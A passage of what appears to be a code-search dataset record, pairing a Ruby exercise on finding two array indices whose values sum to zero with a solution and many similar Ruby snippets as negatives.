"0.5967569",
"0.5960056",
"0.59589803",
"0.5958441",
"0.5958401",
"0.5952607",
"0.5952406",
"0.5944409",
"0.59391016",
"0.593842",
"0.593842",
"0.5933845",
"0.59312123",
"0.5926475",
"0.59248453",
"0.59179676",
"0.59109294",
"0.59101623",
"0.5908172",
"0.59058356",
"0.5899052",
"0.5897749",
"0.5896101",
"0.58942914",
"0.58939576",
"0.5892063",
"0.5887407",
"0.588292",
"0.58797663",
"0.587367",
"0.58681566",
"0.5868038",
"0.5866578",
"0.58665025",
"0.58655846",
"0.58640826",
"0.5863465",
"0.5862226",
"0.586065",
"0.58581287",
"0.5854443",
"0.5854172",
"0.58507544",
"0.5849934"
] | 0.0 | -1 |
in the array sums to zero, return the positions of those two numbers. If no pair of numbers sums to zero, return `nil`. Difficulty: medium. Steps: 1. First while condition is for the first addend. 2. Second while condition is for the second addend 3. The first while condition makes sure the addend is used to try out if any of the elements totals to 0. The second while condition uses idx2 starting with the value of 1 so the second addend starts with an element AHEAD of the first addend. The second while loop stops once it reaches the last element. It gets out of the while loop and gose back to the first while loop and increases idx 1 again to go to the next element that will serves as the NEW first addend. | def two_sum(nums)
idx1 = 0
idx2 = 1
while idx1 < nums.length
idx2 = idx1 + 1 #------>missed this line to increment idx2 for the next round or position
while idx2 < nums.length
sum = nums[idx1] + nums[idx2]
if sum == 0
return [idx1, idx2]
end
idx2 = idx2 + 1
end
idx1 = idx1 + 1
end
return nil
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def two_sum(nums)\n idx1 = 0\n while idx1 < nums.length\n idx2 = idx1 + 1\n while idx2 < nums.length\n if nums[idx1] + nums[idx2] == 0\n return [idx1, idx2]\n end\n\n idx2 += 1\n end\n\n idx1 += 1\n end\n\n return nil\nend",
"def two_sum(nums)\n idx1 = 0\n while idx1 < nums.length\n idx2 = idx1 + 1\n while idx2 < nums.length\n if nums[idx1] + nums[idx2] == 0\n return [idx1, idx2]\n end\n\n idx2 += 1\n end\n\n idx1 += 1\n end\n\n return nil\nend",
"def two_sum(nums)\n idx1 = 0\n while idx1 < nums.length\n idx2 = idx1 + 1\n while idx2 < nums.length\n if nums[idx1] + nums[idx2] == 0\n return [idx1, idx2]\n end\n\n idx2 += 1\n end\n\n idx1 += 1\n end\n\n return nil\nend",
"def two_sum(nums)\n idx1 = 0\n \n while idx1 < nums.length\n idx2 = idx1 + 1\n \n while idx2 < nums.length\n if nums[idx1] + nums[idx2] == 0\n return [idx1, idx2]\n end\n \n idx2 += 1\n end\n \n idx1 += 1\n end\n \n return nil\n end",
"def two_sums(nums)\n output = []\n idx = 0\n idx2 = idx + 1\n\n while idx < nums.length\n idx2 = idx + 1\n while idx2 < nums.length\n output += [idx, idx2] if nums[idx] + nums[idx2] == 0\n idx2 += 1\n end\n idx += 1\n end\n\n output.empty? ? nil : output\nend",
"def two_sum(nums)\n\n\t#option 1\n\n\t#Every index, add with other number\n\t\t#downfall -> n^2\n\n\t#Check first to last, like a palindrome (this won't work)\n\n\t#quick sort, add numbers up to 0\n\n\t#Every Index, add with other number\n\t\t#Iterate through array\n\t\tnums.each_with_index do |number, index|\n\t\t#iterate array with each individual number\n\t\t\tnums.each_with_index do |second_number, second_index|\n\t\t\t\t#skip if it is the same number\n\t\t\t\tnext if index == second_index\n\n\t\t\t\t#if there is a match, return starting & current index\n\t\t\t\tif (number + second_number == 0)\n\t\t\t\t\treturn [index, second_index]\n\t\t\t\tend\n\n\t\t\tend\n\n\t\tend\n\t\t#if there is no match, return nil (iterate through)\n\n\t\tnil\n\nend",
"def two_sum(arr)\n output = []\n (0...arr.length).each do |idx1|\n (idx1+1...arr.length).each do |idx2|\n output << [idx1, idx2] if arr[idx1] + arr[idx2] == 0\n end\n end\n output\nend",
"def two_sum(nums)\n nums.each_with_index do |x, ix|\n nums.each_with_index do |y, iy|\n if ix != iy\n if x + y == 0\n return [ix, iy]\n end\n end\n end\n end\n nil\nend",
"def two_sum_brute nums\n (0...nums.length).each do |i|\n ((i + 1)...nums.length).each do |j|\n if nums[i] + nums[j] == 0\n return i, j\n end\n end\n end\n nil\nend",
"def two_sum\n i = 0\n return_array = []\n (i...self.count - 1).each do |index_one|\n (i + 1...self.count).each do |index_two|\n el_one = self[index_one]\n el_two = self[index_two]\n if el_one != 0 && el_two != 0\n return_array << [index_one, index_two] if el_one + el_two == 0\n end\n end\n end\n return_array\n end",
"def two_sum(nums)\n output = []\n nums.size.times do |idx|\n 1.upto(nums.size - (idx + 1)) do |plus_idx|\n if nums[idx] + nums[idx + plus_idx] == 0\n output += [idx, idx + plus_idx]\n end\n end\n end\n output.empty? ? nil : output\nend",
"def two_sum(nums)\n\titer = 0\n\tsum = 0\n\twhile iter < nums.length\n\t\titer2 = iter + 1\n\t\twhile iter2 <nums.length\n\t\t\tif nums[iter] + nums[iter2] == 0\n\t\t\t\treturn [iter, iter2]\n\t\t\tend\n\t\t\titer2+=1\n\t\tend\n\t\titer+=1\n\tend\n\n\treturn nil\nend",
"def two_sum(nums)\n\t\n\tfirst_num_index = 0\n\tsecond_num_index = 0\n\t\n\twhile first_num_index < nums.length\n\t\tsecond_num_index = first_num_index + 1\n\t\twhile second_num_index < nums.length\n\t\t\t\n\t\t\tif(nums[first_num_index] + nums[second_num_index] == 0)\n\t\t\t\treturn [first_num_index, second_num_index]\n\t\t\telse\n\t\t\t\tsecond_num_index += 1\n\t\t\tend\n\t\tend\n\t\tfirst_num_index += 1\n\tend\n\n\tnil\n\nend",
"def two_sum(nums)\n # in python:\n # for first_idx, first in enumerate(nums[:-1]):\n # for second_idx, second in enumerate(nums[first_idx+1:]):\n # second_idx= first_idx+1+second_idx # convert from idx of nums[first_idx+1:] to idx of nums\n # # can optionally be done in return statement instead to save a few ops\n # if first + second == 0:\n # return [first_idx, second_idx]\n \n # ruby's .with_index and .each_with_index is like python's enumerate\n for first, first_idx in nums[0..-2].map.with_index\n for second, second_idx in nums[first_idx+1..-1].map.with_index(first_idx+1) # with_index(first_idx+1) # second_idx starts at first_idx+1 instead starting at 0\n if first + second == 0\n return [first_idx, second_idx]\n end\n end\n end\n return nil\nend",
"def two_sum\n output = []\n \n i = 0\n while i < self.length - 1\n j = i + 1\n while j < self.length\n output << [i, j] if self[i] + self[j] == 0\n j += 1 \n end\n i += 1\n end\n\n output.empty? ? nil : output\n end",
"def two_sum(array)\n pairs = []\n array.each_with_index do |num1, idx1|\n array.each_with_index do |num2, idx2|\n pairs << [idx1, idx2] if idx2 > idx1 && num1 + num2 == 0\n end\n end\n pairs\nend",
"def two_sum(nums)\n\n\tpositions = []\n\t(0..nums.length-1).each do |n1|\n\t\t(1..nums.length).each do |n2|\n\t\t\tif n1 + n2 == 0\n\t\t\t\tpositions << [n1,n2]\n\t\t\tend\n\t\tend\n\tend\n\n\tpositions\n\nend",
"def two_sum(nums)\n if nums.length <2\n return nil\n end\n i = 0\n while i<nums.length\n b = i+1\n while b < nums.length\n if nums[i] + nums[b] == 0\n return [i,b]\n end\n b +=1\n end \n i+=1\n end\n return nil\nend",
"def two_sum(num_arr)\n idx1 = 0\n while idx1 < num_arr.length\n if num_arr.include?(-(num_arr[idx1]))\n return [idx1,num_arr.index(-(num_arr[idx1]))]\n end\n idx1 += 1\n end\nend",
"def two_sum_to_zero?(arr)\n arr.each_with_index do |n1, idx1|\n arr.each_with_index do |n2, idx2|\n next if idx1 == idx2\n return true if (n1 + n2).zero?\n end\n end\n false\nend",
"def two_sum(nums)\n\n\tfor index1 in 0...nums.length\n\t\t\n\t\tfor index2 in 0...nums.length\n\t\t\n\t\t\tif nums[index1] == nums[index2]*-1\n\t\t\t\treturn [index1, index2]\n\t\t\telse \n\t\t\t\treturn nil\n\t\t\tend\n\n\t\tend\n\n\tend\n\nend",
"def two_sum(array)\n pairs = []\n\n array.count.times do |i1|\n (i1 + 1).upto(array.count - 1) do |i2|\n pairs << [i1, i2] if array[i1] + array[i2] == 0\n end\n end\n\n pairs\nend",
"def pairs_to_zero(nums)\n\n count = 0\n newArr = []\n\n for i in 0..nums.length do\n for j in 1..nums.length do\n if nums[i].to_i + nums[j].to_i == 0\n count = count + 1\n end\n end\n end\n return count-2\nend",
"def two_sum(nums)\n\ta = 0\n\n\twhile a < nums.length\n\t\tb = a + 1\n\n\t\twhile b < nums.length\n\n\t\t\tif nums [b]+ nums[a] == 0\n\t\t\treturn [ a,b]\n\n\t\tend\n\n\t\tb+=1\n\t end\n\n\t a+=1\n\n\tend\n\n\treturn nil\n\t\nend",
"def two_sum(num)\n\n i = 0\n arr = []\n \n while i < num.length\n \t\n num.each do |a|\n \n if a + num[i] == 0\n \t arr.push(num.index(a))\n end\n \n end\n \t\n i += 1\nend\n\t if arr.length > 0\n \t return arr.reverse\n else\n \t return nil\n end\n \nend",
"def two_sum\n pairs = []\n\n self.count.times do |i1|\n (i1 + 1).upto(self.count - 1) do |i2|\n pairs << [i1, i2] if self[i1] + self[i2] == 0\n end\n end\n\n pairs\n end",
"def two_sum_to_zero?(array)\n array.each_with_index do |element, index|\n array.each_with_index do |element2, index2|\n if element + element2 == 0 and index != index2\n return true\n end\n end\n end\n return false\nend",
"def pair_zeros(arr)\n arr.select.each_with_index do |num, idx|\n num != 0 || (num == 0 && count(arr, num, idx) % 2 == 1)\n end\nend",
"def two_sum(nums, target)\n nums.each_with_index do |num1, idx1|\n nums.each_with_index do |num2, idx2|\n if (num1 + num2 == target) && (idx1 != idx2)\n return [idx1, idx2]\n end\n end\n end\nend",
"def two_sum(numbers, target)\n numbers.each_with_index do |num, idx|\n # why `idx + 1`? because we don't want to include the number in our search\n # so if we start at idx 0, we want to search from 1..end for the complement\n # also, so we don't re-search smaller numbers, since this array is sorted.\n low = idx + 1\n high = numbers.size - 1\n search = target - num\n\n while low <= high\n mid = (low + high) / 2\n\n if numbers[mid] == search\n return [idx + 1, mid + 1] # NOT zero-indexed!\n elsif numbers[mid] > search\n # note we ignore including `mid` on next search for both `high` and `low`\n # and our first condition already takes care of `mid`\n high = mid - 1\n else\n low = mid + 1\n end\n end\n end\nend",
"def two_sum_to_zero?(arr)\r\n\r\n #\r\n arr.each_index {|index|\r\n index_out = arr.slice(0, index) +arr.slice(index +1, arr.length)\r\n\r\n return true if index_out.include?(-arr[index])\r\n }\r\n false\r\nend",
"def two_sum(nums)\n\tstore = nums.combination(2).to_a\n\tarr = Array.new\n\ti = 0\n\tsum = 0\n\twhile i <= store.length\n\t\ta = store[i][0]\n\t\tb = store[i][1]\n\t\tsum = ( a + b )\n\t\t\n if sum != 0 && i == store.length-1\n \treturn nil\n elsif sum != 0 && i < store.length\n\t\t\ti += 1\t\n elsif sum == 0\n\t\t\tarr[0] = nums.index(a)\n\t\t\tarr[1] = nums.index(b)\n\t\t\treturn arr\t\t\n\t\tend \n \n\tend\n # if sum = store[store.length-1][0] + store[store.length-1][1]) \n # if sum != 0 && i == store.length\n # \treturn arr\n # end\n\nend",
"def two_sum_indices(arr, target_sum)\n complements = {}\n arr.each_with_index do |el, i|\n complement, j = complements[target_sum - el] # these will both be nil if the complement doesn't exist\n return [i, j] if complement\n\n complements[el] = [el, i]\n end\n nil\nend",
"def two_sum_indices(arr, target_sum)\n complements = {}\n arr.each_with_index do |el, i|\n complement, j = complements[target_sum - el] # these will both be nil if the complement doesn't exist\n return [i, j] if complement\n \n complements[el] = [el, i]\n end\n nil\nend",
"def two_sum(nums, target)\n results = []\n i = 1\n while i < nums.length\n diff = target - nums[i - 1]\n if nums[i..-1].include?(diff)\n idx = nums[i..-1].index(diff)\n results << i - 1 << idx + i\n end\n\n i += 1\n end\n\n results\nend",
"def pairs_to_zero(nums)\n # Write your code here\n c = []\n a = nums.select { |n| c.push(n) if n < 0 }\n nums.delete_if { |n| c.push(n) if n < 0 }\n i = 0 \n pairs = 0\n a = a.map { |n| n*-1 }\n loop do \n if nums.count(a[i]) > 0\n pairs += 1\n end\n i += 1\n break if i == a.length\n end\n return pairs\nend",
"def two_sum_zero(array)\n \n i = 0\n while i < array.length - 1\n \n j = i + 1\n while j < array.length\n if array[i] + array[j] == 0\n return true\n end\n \n j += 1\n end\n \n i += 1\n end\n return false\nend",
"def two_sum(nums, target)\n # i,j = 0, nums.length-1\n i = 0\n j = nums.length-1\n output = []\n while i < nums.length-1\n while j > i\n if nums[i] + nums[j] == target\n output << i << j\n end\n j-=1\n end\n i+=1\nend\nreturn output #returning index\nend",
"def two_sum(numbers, target)\n\n numbers.each_with_index do |num, index|\n \n looking_for = target - num\n answer_2 = binary_search(numbers, index + 1, numbers.length - 1, looking_for)\n if !!answer_2\n return [index + 1, answer_2 + 1] \n end\n end\nend",
"def two_sum(numbers, target)\n arr = numbers\n num = target\n index_array = []\n return_array = []\n current_index = 0\n\n loop do\n idx_counter = current_index\n current_element = arr[current_index]\n\n loop do\n break if idx_counter >= arr.length - 1\n next_index = idx_counter + 1\n next_element = arr[next_index]\n if current_element + next_element == num\n index_array << current_index << next_index\n end\n idx_counter += 1\n end\n\n if return_array == []\n current_index += 1\n end\n break if return_array.reduce(:+) == num\n end\n\n p index_array\nend",
"def two_sum(nums)\n special = []\n count = 0\n x = nums.length\n i = 0\n j = 1\n while (i < x) && (i + j) < x\n \n if nums[i] + nums[i + j] == 0\n special[count] = i\n count += 1\n special[count] = i + j\n count += 1\n if i + j + 1 < x\n j = j + 1\n else \n i += 1\n j = 1\n end\n \n elsif nums[i] + nums[i+j] != 0 && (i + j + 1) < x\n j = j + 1\n \n elsif nums[i] + nums[i+j] != 0 && (i + j + 1) >= x && (i + 2) < x\n i += 1\n j = 1\n \n elsif i+2 == x && special.length != 0\n i += 3 \n elsif i+2 == x && special.length == 0\n return nil\n end \n end \n return special\nend",
"def find_even_index(arr)\n i = 0\n a = 0\n b = 1\n for i in 0...arr.length\n a = arr.slice(0, i).sum\n b = arr.slice(i + 1, arr.length - 1).sum\n if a != b && i == arr.length - 1\n return -1\n elsif a != b\n i += 1\n else\n return i\n end\n end\nend",
"def twoSum(numbers, target)\n (0...(numbers.size - 1)).each do |ind1|\n ((ind1 + 1)...numbers.size).each do |ind2|\n return [ind1, ind2] if numbers[ind1] + numbers[ind2] == target\n end\n end\nend",
"def brute_force_two_sum(array, target)\n indexes = []\n array.each.with_index do |n1, index1|\n array.each.with_index do |n2, index2|\n indexes.push(index1) if target - n1 == n2 && index1 != index2\n end\n end\n indexes\nend",
"def two_sum_binary(numbers, target)\n numbers.each_with_index do |num, i|\n j = binary_search(numbers, target - num, i+1)\n\n # +1 because we do both index1 and index2 are not zero-based\n return [i+1, j+1] unless j == -1\n end\n\n raise ArgumentError.new(\"No two sum solution\")\nend",
"def two_sum(nums, target)\n nums.each_with_index do |ele, i|\n check = target - ele\n return i, nums.index(check) if nums.include?(check) && i != nums.index(check)\n end\nend",
"def two_sum(nums, target)\n indices_array = []\n i = 0\n while i < nums.length\n j = i + 1\n while j < nums.length\n if nums[i] + nums[j] == target\n indices_array << i\n indices_array << j\n end\n j += 1\n end\n i += 1\n end\n return indices_array\nend",
"def two_sum(nums, target)\n nums.each_with_index do |num1, idx1|\n nums.each_with_index do |num2, idx2|\n next if idx1 == idx2\n return [idx1, idx2] if num1 + num2 == target\n end\n end\n return \"Couldn't find target value\"\nend",
"def two_sum(nums, target)\n sorted_nums = nums.sort\n\n last_index = sorted_nums.size - 1\n first_index = 0\n\n while true do\n if sorted_nums[last_index] + sorted_nums[first_index] > target\n last_index -= 1\n\n next\n end\n\n smaller_have_to_be = target - sorted_nums[last_index]\n\n while true do\n if sorted_nums[first_index] < smaller_have_to_be\n first_index += 1\n\n next\n end\n\n break\n end\n\n if sorted_nums[first_index] != smaller_have_to_be\n last_index -= 1\n next\n end\n\n break\n end\n\n # Find correct indexes ( because that indexs in sorted array )\n\n result = []\n nums.each_with_index do |number, index|\n if [sorted_nums[first_index], sorted_nums[last_index]].include?(number)\n result.push(index)\n end\n end\n\n result\nend",
"def find_even_index(nums)\ncheck = 0\nwhile check < nums.length\n check == 0 ? left_sum = 0 : left_sum = nums[(0)..(check-1)].sum\n check == nums.length-1 ? right_sum =0 : right_sum = nums[(check+1)..-1].sum\n return check if left_sum == right_sum\n check +=1\nend\nreturn -1\nend",
"def sum_pairs(numbers, sum)\n # Numbers witch we select as checked that we have in array.\n # Selected number is the index of array. So if we want to select\n # number 4 as chekced we do it so with putting checked[4] = 1 and so on.\n checked = []\n # Iterate over each number\n numbers.each do |n|\n # check what is the difference between searching sum and current number\n temp = sum - n\n # ... and if we already checked such number (checked[temp] == 1)\n # and it is grater or equal 0 (because we are looking for sum )\n # then there is our pair of numbers ([temp, n])\n return [temp, n] if (temp >= 0) && (checked[temp] == 1)\n checked[n] = 1\n end\n nil\nend",
"def two_sum(nums, target)\n target_indexes = []\n nums.each_with_index do |primary, index|\n nums.each_with_index do |num, i|\n if primary + num == target && index != i\n target_indexes << index\n target_indexes << i\n end\n end\n end\n return target_indexes.uniq\nend",
"def two_sum(nums, target)\n hsh = Hash.new\n nums.each_with_index do |n, i|\n hsh[n] = i+1\n end\n \n nums.each_with_index do |val, ind|\n second = target - val\n if hsh.include?(second) && nums.index(second) != ind\n return [ind+1, nums.index(second)+1]\n end\n end\nend",
"def two_sum(numbers, target)\n numbers.each_with_index do |n1, i1|\n numbers.each_with_index do |n2, i2|\n return [i1, i2] if (n1 + n2) == target && i1 != i2\n end\n end\nend",
"def find_even_index(arr)\n left_sum = 0\n right_sum = arr.sum\n arr.each_with_index do |e, ind|\n right_sum -= e\n\n return ind if left_sum == right_sum\n\n left_sum += e\n end\n\n -1\nend",
"def two_sum_indices?(arr, target_sum)\n summands = {}\n\n arr.each_with_index do |num, i|\n summand = target_sum - num\n return [target_sum[summand], i] if summands.key?(summand)\n\n summands[num] = i\n end\n\n false\nend",
"def sum_zero(arr)\n left = 0\n right = arr.length\n right -=1\n while left<right do\n if arr[left] + arr[right] == 0\n return left, right\n elsif arr[left] + arr[right] > 0\n right-= 1\n else \n left+=1\n end\n end\nend",
"def two_sum_ptr(nums, target)\n low, high = 0, nums.length - 1\n while( low < high)\n if(nums[low] + nums[high] == target)\n return [low + 1, high + 1]\n elsif nums[low] + nums[high] < target\n low += 1\n else\n high -= 1\n end\n end\nend",
"def two_sum(arr) #o(ns)\n set = Set.new\n arr.each{|el| set << el}\n arr.select{|el| set.include?(-1 * el)}\nend",
"def two_sum_2(nums, target)\n sorted_nums = merge_sort(nums)\n i, j = 0, sorted_nums.length-1\n while i < j\n sum = sorted_nums[i] + sorted_nums[j]\n if sum == target\n index1 = nums.index(sorted_nums[i])\n index2 = nums.index(sorted_nums[j])\n puts \"index1=#{index1+1}, index2=#{index2+1}\"\n return\n elsif sum < target\n i += 1\n else\n j -= 1\n end\n end\nend",
"def two_number_sum(array, target_sum)\n i = 0\n while i <= array.length - 1\n j = array.length - 1\n while j >= 0\n if array[i] + array[j] == target_sum && i != j\n return [array[i], array[j]]\n end\n j -= 1\n end\n i += 1\n end\n return []\nend",
"def two_sum(nums, target)\n index_of_complement = {}\n (0...nums.size).each do |i|\n if index_of_complement.key?(nums[i]) \n return [index_of_complement[nums[i]], i] \n else\n index_of_complement[target - nums[i]] = i\n end\n end\nend",
"def two_sum(nums, target)\n if target_match = nums.combination(2).find { |pair| pair.sum == target }\n index1 = nums.index(target_match[0])\n nums.delete_at(nums.index(target_match[0]))\n index2 = nums.index(target_match[1]) + 1\n [index1, index2]\n end\nend",
"def two_sum(arr, sum)\n sorted_arr = arr.sort()\n\n lindex = 0\n rindex = arr.size - 1\n\n while sorted_arr[lindex] < sorted_arr[rindex]\n current_sum = sorted_arr[lindex] + sorted_arr[rindex]\n\n return [sorted_arr[lindex], sorted_arr[rindex]] if current_sum == sum\n\n sorted_arr[lindex] + sorted_arr[rindex] > sum ? rindex -= 1 : lindex += 1\n end\nend",
"def two_sum_to_zero?(array)\n # len = array.length - 1\n # len.times do |i|\n # (i + 1).upto(len) do |j|\n # return true if array[i] + array[j] == 0\n # end\n # end\n # false\n nums_hash = {}\n array.each do |el|\n return true if nums_hash[-(el)]\n nums_hash[el] = true\n end\n false\nend",
"def two_sum(nums)\n counter1 = 0\n loop do\n counter2 = 1\n while counter2 < nums.size do\n sum = nums[counter1] + nums[counter2]\n if sum == 0\n return [counter1, counter2]\n end\n counter2 += 1\n end\n\n binding.pry\n counter1 += 1\n break if counter1 > nums.size\n end\n nil\nend",
"def two_sum(nums, target)\n numbers_checked = {}\n\n nums.each do |num|\n other_part_of_pair = target - num\n if numbers_checked.has_key?(other_part_of_pair)\n return [nums.index(other_part_of_pair), nums.rindex(num)]\n else\n numbers_checked[num] = true\n end\n end\nend",
"def sum_to_n? (int_array, n)\r\n found = false\r\n secondAddendCandidates = []\r\n int_array.each do |num|\r\n # Check if we found the 2nd addend \r\n if secondAddendCandidates.include? num\r\n found = true\r\n break\r\n else\r\n # Key = candidate for the 2nd addend in the sum\r\n secondAddendCandidates << n-num\r\n end\r\n end\r\n\r\n found\r\nend",
"def twoSum(numbers, target)\n # solution\n result = []\n numbers.each do |i|\n y = numbers.length - 1\n while y > numbers.index(i) do \n if i + numbers[y] == target\n result << numbers.index(i) << y\n return result\n end\n y -= 1\n end\n end\nend",
"def map_then_iterate_two_sum(array, target)\n hash = {}\n array.each.with_index do |i, index|\n hash[i] = index\n end\n indexes = []\n array.each.with_index do |ii, index|\n complement = target - ii \n if hash.has_key?(complement) && hash.fetch(complement) != index\n indexes.push(index, hash.fetch(complement))\n return indexes\n end\n end\nend",
"def two_sum(nums, target)\n result = []\n nums.each_with_index do |num, idx|\n find_num = target - num\n result = [idx, nums.index(find_num)] if nums.include?(find_num) && nums.index(find_num) != idx\n return result if result.length > 0\n end\n\n if result.length == 0\n return \"Target sum not found in array\"\n end\nend",
"def strange_sums(arr)\n # iterate arr, nested in iterate arr\n # each pair, if sum is zero, increase count by 1\n count = 0\n\n arr.each.with_index do |num1, idx1|\n arr.each.with_index do |num2, idx2|\n if idx2 > idx1 && num1 + num2 == 0\n count += 1\n end\n end\n end\n\n count\nend",
"def find_even_index(arr)\n return 0 if arr[1..-1].sum == 0\n for n in 1..arr.size - 1\n right = arr[n + 1..-1]\n left = arr[0..n - 1]\n return n if left.sum == right.sum\n end\n -1\nend",
"def find_pair(array,sum)\n indices = []\n for i in 0...array.length\n for j in i+1...array.length\n indices.push(\"#{i},#{j}\") if array[i] + array[j] == sum\n end\n end\n indices\nend",
"def two_sum(numbers, target)\n size = numbers.length\n i = 0\n j = size - 1\n\n while numbers[i] + numbers[j] != target\n i += 1 if (numbers[i] + numbers[j]) < target\n j -= 1 if (numbers[i] + numbers[j]) > target\n end\n\n [i + 1, j + 1]\nend",
"def two_sum(integers, target)\n # O(n)\n integers_with_index = integers.each_with_index.to_a\n # O(n*log(n))\n integers_with_index = integers_with_index.sort_by { |(n, _)| n }\n\n front, back = 0, integers_with_index.count - 1\n\n until front == back\n sum = integers_with_index[front][0] + integers_with_index[back][0]\n if sum == target\n return [integers_with_index[front][1], integers_with_index[back][1]].sort\n elsif sum > target\n back -= 1\n else\n front += 1\n end\n end\nend",
"def okay_two_sum?(arr, target_sum)\r\n sums = []\r\n arr.each_with_index do |ele, idx|\r\n next if idx+1 == arr.length\r\n sums << [ele + arr[idx+1]] if idx+1 > idx \r\n end\r\n\r\n sorted = sums.flatten.sort\r\n\r\n return sorted if arr.length < 2\r\n\r\n mid = sorted.length /2\r\n left = okay_two_sum?(sorted.take(mid), target_sum)\r\n right = okay_two_sum?(sorted.drop(mid), target_sum)\r\n\r\n case sorted[mid] <=> target_sum\r\n when 0\r\n return mid\r\n when 1\r\n okay_two_sum?(left, target_sum)\r\n else\r\n search_res = okay_two_sum?(right, target_sum)\r\n search_res.nil? ? nil : mid + 1 + search_res \r\n end\r\n\r\nend",
"def solve(nums)\n arr = nums.map {|num| num * num}\n arr.each_with_index do |el1, idx1|\n arr.each_with_index do |el2, idx2|\n if idx2 > idx1\n if arr.include?(el1 + el2)\n if (arr.index(el1 + el2) != idx1) && (arr.index(el1 + el2) != idx2)\n return true\n end\n end\n end\n end\n end\n false\nend",
"def two_sum_2_pointers(numbers, target)\n l_pointer = 0\n r_pointer = numbers.size - 1\n\n while l_pointer < r_pointer\n sum = numbers[l_pointer] + numbers[r_pointer]\n\n if sum < target\n l_pointer += 1\n elsif sum > target\n r_pointer -= 1\n else\n return [l_pointer + 1, r_pointer + 1]\n end\n end\n\n raise ArgumentError.new(\"No two sum solution\")\nend",
"def opposite_count(nums)\n pair=0\n nums.each do |num1|\n \tnums.each do |num2|\n \tif nums.index(num2)>nums.index(num1) && num2+num1==0\n pair+=1\n end\n end\n end\n return pair\n \n \n\nend",
"def solution(a)\n left = 0\n right = a.sum\n a.each_with_index do |element, index|\n right -= element\n return index if left == right\n left += element\n end\n -1\nend",
"def two_sum(numbers, target)\n low = 0\n high = numbers.size - 1\n\n until low == high\n sum = numbers[low] + numbers[high]\n case sum <=> target\n when 0\n return [low + 1, high + 1] # NOT zero-indexed!\n when 1 # sum > target\n high -= 1\n when -1 # sum < target\n low += 1\n end\n end\nend",
"def bad_two_sum?(arr, target)\n\n arr.each.with_index do |x, idx|\n arr.each.with_index do |y, idy|\n if idx == idy\n next\n else\n if (x + y) == target\n return true\n end\n end\n end\n end\n\n return false\n\nend",
"def opposite_count(nums)\n\tcounter = 0\n\ttemp = []\n \n\tnums.each_with_index do |ele1, idx1|\n\t\tnums.each_with_index do |ele2, idx2|\n\t\t\t# Making sure that the second index is alway looking at something new. Prevents duplicate\n\t\t\tif idx2 > idx1\n \tif ele1 + ele2 == 0 \t\n \ttemp << [ele1 , ele2] \t\n \tputs\n \n\t\t\t\t\tcounter += 1\n\t\t\t\tend \t\n end\n\t\tend\n\tend\n\tprint temp\n\treturn counter\nend",
"def two_sum(nums, target)\n nums_hash = {}\n nums.each_with_index do |val, i|\n nums_hash[val] = i\n end\n\n nums.each_with_index do |ival, i|\n complement = target - ival\n next if nums_hash[complement] == i\n if nums_hash.key?(complement)\n return [i, nums_hash[complement]]\n end\n end\n []\nend",
"def two_sum(nums, target)\n pointer1 = 0\n pointer2 = 1\n while (nums[pointer1] + nums[pointer2] != target)\n if nums[pointer1] + nums[pointer2] < target \n pointer1 += 1\n pointer2 += 1\n else \n pointer1 -= 1\n end \n end \n return [pointer1, pointer2]\nend",
"def two_sum(nums, target)\n num_hash = Hash.new\n \n nums.each_with_index do |num, idx|\n diff = target - num\n if num_hash[diff]\n return idx < num_hash[diff] ? [idx, num_hash[diff]] : [num_hash[diff], idx]\n end\n num_hash[num] = idx\n end\n null\nend",
"def okay_two_sum?(arr, target_sum)\n sorted = arr.sort\n idx1 = 0 #arr[0] arr legnt - 1\n idx2 = arr.length - 1\n while idx1 != idx2\n case arr[idx1] + arr[idx2] <=> target_sum\n when 1\n idx2 -= 1\n when -1\n idx1 += 1\n when 0\n return true\n end\n end\n false\nend",
"def find_even_index(array)\n array.size.times do |i|\n left_array = array[0...i]\n right_array = array[(i+1)..-1]\n return i if left_array.sum == right_array.sum\n end\n -1\nend",
"def opposite_count(nums)\n\n new = [] \n\n nums.each_with_index do |num1, idx1|\n nums.each_with_index do |num2, idx2|\n\n if idx1 < idx2\n if num1 + num2 == 0 \n new << [num1, num2]\n end \n end \n\n end \n end \n return new.length\n\nend",
"def find_even_index(array)\n array.length.times do |middle_idx|\n part1 = [0] \n part2 = [0]\n array.each_with_index do |num, idx|\n part1 << num if idx < middle_idx\n part2 << num if idx > middle_idx\n end\n return middle_idx if part1.reduce(:+) == part2.reduce(:+)\n end\n -1\nend",
"def find_even_index(arr)\r\n last_index = arr.size - 1\r\n arr.each_index do |index|\r\n if index == 0\r\n left_side = []\r\n right_side = arr[(index + 1)..-1]\r\n elsif index == last_index\r\n left_side = arr[0..(last_index - 1)]\r\n right_side = []\r\n else\r\n left_side = arr[0..(index - 1)]\r\n right_side = arr[(index + 1)..-1]\r\n end\r\n return index if left_side.sum == right_side.sum\r\n end\r\n \r\n -1\r\nend",
"def two_sum(nums, target)\n\n numsSearch = {}\n nums.each_with_index do |value, index|\n ### Storing the value as index of hash\n second_value = numsSearch[target - value]\n\n ### checking if hash return value\n if second_value != nil\n return [second_value, index]\n end\n\n ### inserting the value as index and index as value in hash map\n numsSearch[value] = index\n end\n\n return []\nend",
"def contig_sum2(array)\n greatest_sum = array[0]\n useful_sum = array[0]\n\n array.each_index do |idx|\n useful_sum = 0 if useful_sum < 0 && idx == 0\n next if idx == 0\n useful_sum += array[idx]\n\n if useful_sum > greatest_sum\n greatest_sum = useful_sum\n elsif useful_sum < 0\n useful_sum = 0\n end\n end\n\n greatest_sum\nend",
"def sum_of_all_pairs(arr, sum)\n answer = []\n arr.each_with_index do |ele, idx|\n while idx < arr.length - 1\n if ele + arr[idx + 1] == sum\n if ele < arr[idx + 1]\n temp_arr = [ele, arr[idx + 1]]\n else\n temp_arr = [arr[idx + 1], ele]\n end\n if !answer.include?(temp_arr)\n answer.push(temp_arr)\n end \n end\n idx = idx + 1\n end\n end\n return answer\nend",
"def strange_sums(arr)\n count = 0\n arr.each_with_index do |ele, i|\n arr.each_with_index do |ele2, i2|\n if i > i2\n if ele + ele2 == 0\n count += 1\n end\n end\n end\n end\n count\nend",
"def bad_two_sum?(arr, target_sum)\n arr.each_with_index do |o_el, o_idx|\n arr.each_with_index do |i_el, i_idx|\n next if o_idx == i_idx\n return true if o_el + i_el == target_sum\n end\n end\n false\nend",
